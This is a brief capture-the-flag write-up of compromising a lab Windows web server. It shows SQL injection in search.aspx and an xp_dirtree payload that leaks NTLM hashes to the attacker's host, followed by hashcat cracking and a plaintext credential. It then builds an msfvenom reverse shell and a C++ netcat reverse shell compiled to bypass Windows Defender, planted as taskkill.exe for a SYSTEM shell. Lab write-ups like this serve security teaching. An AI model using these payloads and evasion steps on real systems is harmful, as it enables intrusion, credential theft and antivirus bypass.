ISS Windows Server Directory searching via ffuf found /remote

and I it stops (porbably dos)

as we can read switch to https

feroxbuster -u http://10.10.10.104

Found /remote and /mvc probably running aspx I searched google and found /mvc structure folders https://www.tutorialsteacher.com/mvc/mvc-folder-structure searching in default page

registration

Bingo! SQL Injection in search.aspx ' OR '1'='1

also in URL we have sql injection

Trying using cheat sheet: https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/ and: https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html

- `?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+(**_YOUR-INJECTION-HERE_**)+'.example.com\\test.txt'; EXEC master..xp_dirtree @q`

and this works for me

26%3bDECLARE+%40q+varchar(1024)%3bSET+%40q%3d'\\10.10.14.8\share\test'%3bEXEC+master.dbo.xp_dirtree+%40q%3b--%2b

now I used it with responder and obtain ntlmv2 hash

responder -I tun0 -dPv 


hashcat -m 5600 hash  /usr/share/wordlists/rockyou.txt

stacy xNnWo6272k7x Now we can connect to the machine

Privilege Escalation

we have hint after connecting to the machine

searching this in google first I spot priv esc https://www.exploit-db.com/exploits/43390

Confirming permissions

Now let’s attempt to make a rev shell and save it as taskkill.exe

msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.8 LPORT=4444 -f exe -o reverse.exe

C:\ProgramData\unifi-video> iwr "http://10.10.14.8:81/reverse.exe" -o "taskkill.exe"

ehh, windows defender

Antivirus Bypass

So we need to compile program for Windows, we can compile in VS on windows VM or Kali have answer for this problem mingw-w64

start by prepering c++ revershe shell

#include<stdlib.h>

int main()
{

    system("nc.exe -e cmd.exe 10.10.14.8 4444");
    return 0;
}

Compile it with mingw to exe

x86_64-w64-mingw32-gcc rev.cpp -o taskkill.exe

Connect to machine and download shell and nc.exe

evil-winrm -i 10.10.10.104 -u stacy -p xNnWo6272k7x

cd C:\ProgramData\unifi-video
iwr "http://10.10.14.8/taskkill.exe" -o "taskkill.exe"
iwr "http://10.10.14.8/nc.exe" -o "nc.exe"

And stop service

Stop-Service "Ubiquiti UniFi Video"

We got reverse shell as system
